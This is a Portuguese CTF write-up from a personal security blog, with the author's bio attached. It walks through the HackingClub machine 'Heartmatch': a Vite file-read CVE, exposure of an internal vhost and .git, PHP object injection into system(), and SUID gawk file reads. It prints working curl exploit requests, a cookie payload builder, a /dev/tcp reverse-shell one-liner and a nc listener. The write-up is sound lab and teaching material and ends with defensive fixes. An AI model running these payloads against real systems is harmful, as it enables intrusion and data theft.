[{"content":"Target: 172.16.5.246 (heartmatch.hc) Cadeia: CVE-2025-30208 (Vite arbitrary file read) → descoberta de vhost interno → Git Exposed → PHP Object Injection (RCE) → SUID gawk → root.\nResumo O Heartmatch tem quatro falhas separadas, e cada uma abre caminho pra próxima. Começa com um dev server do Vite rodando em produção, que deixa qualquer pessoa ler arquivos do sistema. Com isso dá pra ler o /etc/hosts e achar um vhost administrativo interno (backoffice-admin-hm.heartmatch.hc) que só devia responder em localhost, mas como o nginx roteia por Host header, é só mandar o header certo que ele responde de fora também.\nNesse backoffice, a pasta .git ficou exposta na web. Dá pra baixar o código PHP inteiro com o git-dumper. Lendo esse código, aparece um cookie que o usuário controla sendo desserializado sem checar nada. A classe recriada a partir desse cookie roda um system(), e o valor que veio do cookie é colado direto dentro do comando, sem passar por nenhum filtro. É isso que abre a porta pra RCE: forjando o cookie certo, dá pra fazer o servidor rodar qualquer comando, como o usuário www-data.\nDaqui pra virar root é só achar o gawk que tem o bit SUID ligado, o que deixa ele ler qualquer arquivo do sistema com permissão de root, inclusive a flag.\nO caminho completo:\nVite dev server exposto → CVE-2025-30208 → leitura arbitrária de arquivo. Leitura do /etc/hosts revela o vhost interno do backoffice. .git exposto no backoffice → dump do código fonte PHP. unserialize() de cookie controlado + classe com __wakeup() chamando system() → RCE. gawk com SUID → leitura da root flag. Etapa 1: Recon O scan de portas mostra três serviços rodando:\n22/tcp OpenSSH 9.6p1 80/tcp nginx 1.24.0 5173/tcp Vite dev server A porta 5173 já chama atenção na hora, é a porta padrão do dev server do Vite. Ver um dev server rodando em produção é sempre estranho, porque ele foi feito pra rodar local durante o desenvolvimento, não pra ficar exposto na internet, e esse tipo de servidor tem histórico de bugs de path traversal. O nginx na porta 80 e o Vite na 5173 acabam servindo a mesma SPA (o nginx só faz proxy do mesmo index.html).\nUma coisa que percebi na prática: rodar o scan completo (-p-) direto no IP demora muito, a máquina responde devagar por IP. Rodando pelo hostname heartmatch.hc o scan fica bem mais rápido. De qualquer forma, o scan completo confirmou que só existem essas três portas, sem nenhum backend escondido em porta alta.\nEtapa 2: CVE-2025-30208, leitura arbitrária de arquivo no Vite A CVE-2025-30208 é um jeito de burlar o filtro server.fs.deny do Vite. Usando o prefixo /@fs/ (que serve arquivo direto do sistema de arquivos) junto com o sufixo ?raw??, dá pra ler arquivos de fora do diretório do projeto.\nexport URL=\u0026#39;http://172.16.5.246:5173\u0026#39; curl -s \u0026#34;$URL/@fs/etc/passwd?raw??\u0026#34; A resposta volta empacotada como se fosse um módulo JS (export default \u0026ldquo;\u0026hellip;\u0026rdquo; com um source map junto), e é isso que identifica a CVE, o Vite está tratando o arquivo como se fosse um módulo raw.\nSe a resposta a /@fs/?raw?? trouxer conteúdo de um arquivo do sistema fora do projeto, a vulnerabilidade tá confirmada. O formato export default \u0026ldquo;\u0026lt;conteúdo\u0026gt;\u0026rdquo; é o sinal certo.\nAlguns detalhes que apareceram na prática:\nA CVE só funciona usando o IP, não o hostname. Mandando Host: heartmatch.hc, o Vite aplica o allowedHosts e responde diferente (cai no index.html padrão). Então sempre usar o IP direto pra ler arquivo via /@fs/.\nO processo do Vite roda como www-data (UID 33). Lendo /proc/self/status pela CVE dá pra confirmar isso. Isso limita a leitura ao que o www-data tem permissão de ler, arquivos 600 de outro dono (tipo o .bash_history do usuário ubuntu) dão erro de acesso.\nO .git do próprio projeto Vite fica bloqueado pelo fs.deny padrão (/.git/), e tentar burlar esse bloqueio específico não funcionou. No fim isso nem importou, porque o .git que interessava estava em outra aplicação.\nDuas leituras acabaram sendo essenciais pro resto do ataque:\nexport APP=\u0026#39;/var/www/heartmatch.hc\u0026#39; # mostra o path da app e confirma que é um projeto Vite/React puro, sem backend curl -s \u0026#34;$URL/@fs/proc/self/cmdline?raw??\u0026#34; # mostra a config: fs.allow liberado, sem proxy configurado, allowedHosts curl -s \u0026#34;$URL/@fs$APP/vite.config.js?raw??\u0026#34; O cmdline do processo entrega o diretório da aplicação (/var/www/heartmatch.hc). O vite.config.js mostra fs: { allow: [\u0026rsquo;..\u0026rsquo;, \u0026lsquo;/\u0026rsquo;] }, ou seja leitura de todo o sistema de arquivos liberada, e o detalhe mais importante: não tem nenhum server.proxy configurado, o que já confirma que não existe backend passando pelo Vite.\nEtapa 3: Descoberta do vhost interno via /etc/hosts Como o frontend é só uma SPA em React (o package.json é um projeto Vite genérico chamado raw-view, só com react, react-dom e lucide), o backend com o .git e a desserialização tinha que estar em outro lugar. A peça que resolve isso é ler o /etc/hosts pela CVE:\ncurl -s \u0026#34;$URL/@fs/etc/hosts?raw??\u0026#34; Que mostra:\n127.0.0.1 localhost 127.0.0.1 backoffice-admin-hm.heartmatch.hc Esse é o ponto que me destravou na máquina inteira. Um vhost apontando pra 127.0.0.1 é um serviço interno, provavelmente pensado como \u0026ldquo;protegido\u0026rdquo; por só escutar em localhost. Só que o nginx roteia pelo Host header, então basta mapear esse hostname pro IP público e mandar o Host certo pra acessar de fora.\nPra reconhecer isso em outras máquinas: sempre vale ler o /etc/hosts e configs de nginx/apache (sites-enabled, conf.d) quando se tem leitura arbitrária de arquivo, vhost interno é um padrão bem comum de segurança por obscuridade. Nomes tipo admin, backoffice, internal, dev em vhosts locais já são alvo prioritário. Quando não se tem leitura de arquivo, fuzzing de vhost pelo Host header cumpre o mesmo papel.\nMapeando e acessando:\necho \u0026#39;172.16.5.246 backoffice-admin-hm.heartmatch.hc\u0026#39; | sudo tee -a /etc/hosts export BO=\u0026#39;http://backoffice-admin-hm.heartmatch.hc\u0026#39; curl -s -i \u0026#34;$BO/\u0026#34; O backoffice é uma aplicação PHP (cookie PHPSESSID, Content-Type: text/html; charset=UTF-8), totalmente diferente do frontend em Vite.\nEtapa 4: Git exposto no backoffice O .git do backoffice está acessível direto por HTTP (aqui não tem o fs.deny do Vite, é outro servidor):\ncurl -s \u0026#34;$BO/.git/HEAD\u0026#34; # ref: refs/heads/master curl -s \u0026#34;$BO/.git/config\u0026#34; # config git válido Quando /.git/HEAD responde com ref: refs/heads/, significa que o repositório inteiro tá exposto. O deploy foi feito com git clone ou git pull direto no diretório público, sem bloquear o acesso ao .git no servidor. Baixando o repositório dá pra ver todo o código fonte, e muitas vezes segredo esquecido no histórico de commits.\npipx install git-dumper # ou: pip install git-dumper --break-system-packages git-dumper \u0026#34;$BO/.git/\u0026#34; backoffice_src cd backoffice_src A estrutura que apareceu: config/ (database.php, database.sql, backoffice.sqlite), includes/, models/, public/ (login.php, register.php, dashboard.php, users.php, e outros).\nO backoffice.sqlite e o database.sql trazem a tabela de usuários com hash bcrypt (incluindo um admin), mas isso acabou sendo um desvio. RCE por object injection é mais rápido que tentar quebrar hash.\nEtapa 5: PHP Object Injection vira RCE O problema está em dois arquivos. Em models/UserSession.php:\nclass UserSession { public $username; public $plan; public function __wakeup(){ if(!in_array($this-\u0026gt;plan, [\u0026#39;free\u0026#39;, \u0026#39;premium\u0026#39;])){ throw new Exception(\u0026#34;Invalid plan detected\u0026#34;); } system(\u0026#34;echo {$this-\u0026gt;plan} \u0026gt; /tmp/{$this-\u0026gt;username}.txt\u0026#34;); } } E em public/dashboard.php:\n$user = unserialize(base64_decode($_COOKIE[\u0026#39;user_data\u0026#39;])); Esse é o coração do RCE, e três coisas se juntam pra isso funcionar:\nO unserialize() roda em cima de um valor que o usuário controla, o cookie user_data.\nA classe UserSession tem um método mágico chamado __wakeup(), que o PHP chama sozinho assim que desserializa um objeto dessa classe.\nDentro do __wakeup() tem um system() montado com uma variável que vem direto do objeto, {$this-\u0026gt;username}, sem nenhum tipo de filtro ou validação.\nNa prática: o atacante monta um cookie serializado que representa um objeto UserSession, e quando o PHP desserializa esse cookie, o __wakeup() dispara automaticamente e roda o system() usando o username que o atacante escolheu.\nPra reconhecer PHP Object Injection em outras situações, vale procurar por unserialize() recebendo qualquer coisa vinda do usuário (cookie, parâmetro, header), e depois olhar as classes disponíveis atrás de métodos mágicos como __wakeup(), __destruct(), __toString(), __call(). Esses métodos são os \u0026ldquo;gadgets\u0026rdquo;, código que roda sozinho durante ou depois da desserialização. O melhor gadget é o que leva a rodar comando, escrever arquivo ou mexer no banco. Aqui, ter um system() recebendo variável direto é o cenário perfeito.\nTem uma restrição no meio disso: o __wakeup() valida que plan seja free ou premium, senão lança uma exceção antes de chegar no system(). Então o plan fica fixo em free, e o comando vai dentro do username, fechando o echo com um ponto e vírgula.\nO formato serializado precisa ser montado na mão, e a contagem de caracteres em s:TAMANHO: tem que bater certinho, senão o unserialize() retorna false e o __wakeup() nem chega a rodar:\nbuild_payload() { local u=\u0026#34;$1\u0026#34;; local len=${#u} echo -n \u0026#34;O:11:\\\u0026#34;UserSession\\\u0026#34;:2:{s:8:\\\u0026#34;username\\\u0026#34;;s:${len}:\\\u0026#34;${u}\\\u0026#34;;s:4:\\\u0026#34;plan\\\u0026#34;;s:4:\\\u0026#34;free\\\u0026#34;;}\u0026#34; | base64 -w0 } Pra confirmar que a injeção funciona, dá pra disparar no backoffice e checar o resultado usando a leitura de arquivo do Vite, sem precisar de outro canal:\nCOOKIE=$(build_payload \u0026#39;x; id \u0026gt; /tmp/pwned.txt; #\u0026#39;) curl -s \u0026#34;$BO/dashboard.php\u0026#34; -H \u0026#34;Cookie: user_data=$COOKIE\u0026#34; -o /dev/null # lê o resultado do comando através da leitura arbitrária do Vite curl -s \u0026#34;http://172.16.5.246:5173/@fs/tmp/pwned.txt?raw??\u0026#34; # -\u0026gt; uid=33(www-data) ... Pra pegar reverse shell, uso o comando em base64 pra não ter que lidar com escaping e contagem de caracteres:\n# listener nc -lvnp 4444 # payload RS=$(echo -n \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.0.52.44/4444 0\u0026gt;\u0026amp;1\u0026#39; | base64 -w0) COOKIE=$(build_payload \u0026#34;x; echo ${RS} | base64 -d | bash; #\u0026#34;) curl -s \u0026#34;$BO/dashboard.php\u0026#34; -H \u0026#34;Cookie: user_data=$COOKIE\u0026#34; O shell cai como www-data.\nA flag de user fica na raiz do sistema de arquivos, com um nome propositalmente esquisito pra não dar pra achar só chutando o caminho, só quem já tem RCE consegue achar:\nls -la / | grep flag # /us3r_fl4g_1mp0ss1bl3_t0_gu3ss_f0r_1ns3sur3_d3s3r14l1z4t10n.txt (dono: www-data) cat \u0026#34;/us3r_fl4g_1mp0ss1bl3_t0_gu3ss_f0r_1ns3sur3_d3s3r14l1z4t10n.txt\u0026#34; # hackingclub{flag1} O nome do arquivo (\u0026ldquo;user flag impossible to guess for insecure deserialization\u0026rdquo;) já é praticamente uma dica do autor da máquina: a flag tá liberada pro www-data ler, mas o nome estranho garante que só quem realmente conquistou o shell via object injection vai achar ela, não dá pra chutar.\nEtapa 6: Escalando privilégio pelo SUID do gawk Recon de escalação:\nfind / -perm -4000 2\u0026gt;/dev/null | grep -i awk # /usr/bin/gawk ls -la /usr/bin/gawk # -rwsr-xr-x 1 root root ... /usr/bin/gawk O bit SUID (aquele s no lugar do x de execução do dono) em /usr/bin/gawk, pertencendo ao root, faz o gawk rodar com o euid de root não importa quem executou ele. E como o awk/gawk consegue ler arquivo e rodar comando, SUID nele já é privesc direto, tá catalogado no GTFOBins.\nUm detalhe que apareceu na prática: o método \u0026ldquo;shell\u0026rdquo; do GTFOBins não funcionou dessa vez:\nawk \u0026#39;BEGIN {system(\u0026#34;/bin/bash -p\u0026#34;)}\u0026#39; id # continua uid=33(www-data), o gawk derrubou o euid antes de chamar o system() Mas o método de leitura direta funcionou. O getline do gawk lê o arquivo mantendo o privilégio de leitura do SUID:\nawk \u0026#39;BEGIN{while((getline line \u0026lt; \u0026#34;/root/root.txt\u0026#34;)\u0026gt;0) print line}\u0026#39; # hackingclub{flag2} Aqui eu aprendi que: quando o SUID em awk/gawk não te dá shell de root direto (algumas versões derrubam o privilégio no system()), o getline ainda deixa ler arquivo protegido. É a diferença entre executar como root e ler como root, e pra pegar a flag, só ler já resolve.\nSe fosse preciso escalar de verdade, não só ler a flag, dava pra usar o mesmo princípio pra ler o /etc/shadow e quebrar o hash do root offline, ou ler a chave SSH privada do root em /root/.ssh/id_rsa.\nComo reconhecer esse tipo de vulnerabilidade em geral Dev server exposto: Vite (porta 5173), webpack-dev-server e parecidos nunca deveriam estar rodando em produção. A porta padrão já denuncia. A CVE-2025-30208 e outras da mesma família são formas de burlar o filtro de acesso a arquivo, vale testar /@fs/ com sufixo tipo ?raw??.\nLeitura arbitrária de arquivo pra mapear a infra: tendo esse tipo de leitura, dá pra ler /etc/hosts, config de webserver, /proc/self/cmdline e /proc/self/status pra achar vhost interno, path de aplicação e o usuário que roda o processo. Vhost em 127.0.0.1 é sinal de serviço interno acessível pelo Host header.\nGit exposto: /.git/HEAD respondendo com um ref significa repositório inteiro disponível pra baixar. Sempre vale testar, e usar o git-dumper. O histórico de commit costuma esconder segredo.\nDesserialização insegura, ou object injection: procurar unserialize() em PHP, pickle.loads() em Python, readObject() em Java, node-serialize em Node, sempre em cima de algo que vem do usuário. Depois olhar as classes disponíveis atrás de método mágico, que funciona como gadget. Cookie ou parâmetro carregando um blob em base64 é o vetor mais comum.\nBinário com SUID: find / -perm -4000 2\u0026gt;/dev/null no recon de escalação. Depois consultar o GTFOBins pra cada binário encontrado. Vale lembrar que se o método de shell não funcionar por causa de drop de privilégio, os métodos de leitura de arquivo (getline e outros) costumam continuar funcionando.\nCorreções (lado defensivo) Nunca deixar dev server (Vite, webpack) exposto em produção, usar build estático servido por um webserver configurado direito. Manter o Vite atualizado, a CVE-2025-30208 já tem correção.\nBloquear o acesso ao .git no webserver (location ~ /.git { deny all; }), e o ideal é nem versionar dentro do diretório público.\nNunca desserializar entrada que vem do usuário. Prefira formato de dado seguro como JSON em vez de serialização de objeto. Se não tiver como evitar, assine e valide o payload com HMAC e use lista de classes permitidas.\nNunca colar entrada de usuário direto dentro de system() ou exec(). Usar API que separa comando de argumento, e validar/escapar direito.\nTirar SUID desnecessário de binário como awk/gawk. Se um processo precisa mesmo de privilégio elevado, isolar isso num serviço separado com escopo mínimo.\nNão reutilizar senha entre contas (os hashes duplicados no banco mostram que isso aconteceu aqui).\nValeu por ter lido, tmj!\n","permalink":"/posts/ctf-heartmatch-writeup/","summary":"\u003cp\u003e\u003cstrong\u003eTarget:\u003c/strong\u003e \u003ccode\u003e172.16.5.246\u003c/code\u003e (\u003ccode\u003eheartmatch.hc\u003c/code\u003e)\n\u003cstrong\u003eCadeia:\u003c/strong\u003e CVE-2025-30208 (Vite arbitrary file read) → descoberta de vhost interno → Git Exposed → PHP Object Injection (RCE) → SUID gawk → root.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"resumo\"\u003eResumo\u003c/h2\u003e\n\u003cp\u003eO Heartmatch tem quatro falhas separadas, e cada uma abre caminho pra próxima. Começa com um dev server do Vite rodando em produção, que deixa qualquer pessoa ler arquivos do sistema. Com isso dá pra ler o /etc/hosts e achar um vhost administrativo interno (backoffice-admin-hm.heartmatch.hc) que só devia responder em localhost, mas como o nginx roteia por Host header, é só mandar o header certo que ele responde de fora também.\u003c/p\u003e","title":"Heartmatch (HackingClub, Easy)"},{"content":"Sou Caio, autor destes writeups sobre CTFs, pesquisa e aprendizado prático. Tenho 3 anos de experiência em segurança da informação e hoje estou redirecionando meus estudos pra segurança ofensiva.\nBase técnica\nSegurança de aplicações: implementação de SSDLC, threat modeling e pentest de aplicações web e API. Design e arquitetura de sistemas: desenho de sistemas distribuídos seguros, escaláveis e resilientes, com foco em security-by-design. Desenvolvimento: construção de aplicações web, APIs e agentes de IA usando o ecossistema Python (FastAPI, Django) e shell scripting pra automação. DevSecOps e infraestrutura: gestão de segurança em AWS e GCP, Linux, configuração de firewall, Docker e segurança de pipeline CI/CD usando Jenkins, GitLab e GitHub Advanced Security (GHAS). Segurança em IA: mapeamento de risco pra GenAI e implementação de guardrails de LLM. Certificações\nCertified Artificial Intelligence Security \u0026amp; Risk (CAISR), Red Team Leaders, fev/2026 Certified Threat Intelligence \u0026amp; Governance Analyst (CTIGA), Red Team Leaders, jan/2026 Certified Red Team Operations Management (CRTOM), Red Team Leaders, dez/2025 Certified Phishing Prevention Specialist (CPPS), Hack \u0026amp; Fix, dez/2025 Certified AppSec Practitioner (CAP), The SecOps Group, jun/2023 Esse blog é onde documento meus estudos e pesquisas: os CTFs que eu resolvo, as vulnerabilidades que estudo e o processo de aprender a pensar como atacante depois de anos do lado defensivo.\n","permalink":"/whoami/","summary":"\u003cp\u003eSou Caio, autor destes writeups sobre CTFs, pesquisa e aprendizado prático.\nTenho 3 anos de experiência em segurança da informação e hoje estou\nredirecionando meus estudos pra segurança ofensiva.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBase técnica\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSegurança de aplicações: implementação de SSDLC, threat modeling e\npentest de aplicações web e API.\u003c/li\u003e\n\u003cli\u003eDesign e arquitetura de sistemas: desenho de sistemas distribuídos\nseguros, escaláveis e resilientes, com foco em security-by-design.\u003c/li\u003e\n\u003cli\u003eDesenvolvimento: construção de aplicações web, APIs e agentes de IA\nusando o ecossistema Python (FastAPI, Django) e shell scripting pra\nautomação.\u003c/li\u003e\n\u003cli\u003eDevSecOps e infraestrutura: gestão de segurança em AWS e GCP, Linux,\nconfiguração de firewall, Docker e segurança de pipeline CI/CD usando\nJenkins, GitLab e GitHub Advanced Security (GHAS).\u003c/li\u003e\n\u003cli\u003eSegurança em IA: mapeamento de risco pra GenAI e implementação de\nguardrails de LLM.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eCertificações\u003c/strong\u003e\u003c/p\u003e","title":"whoami"}]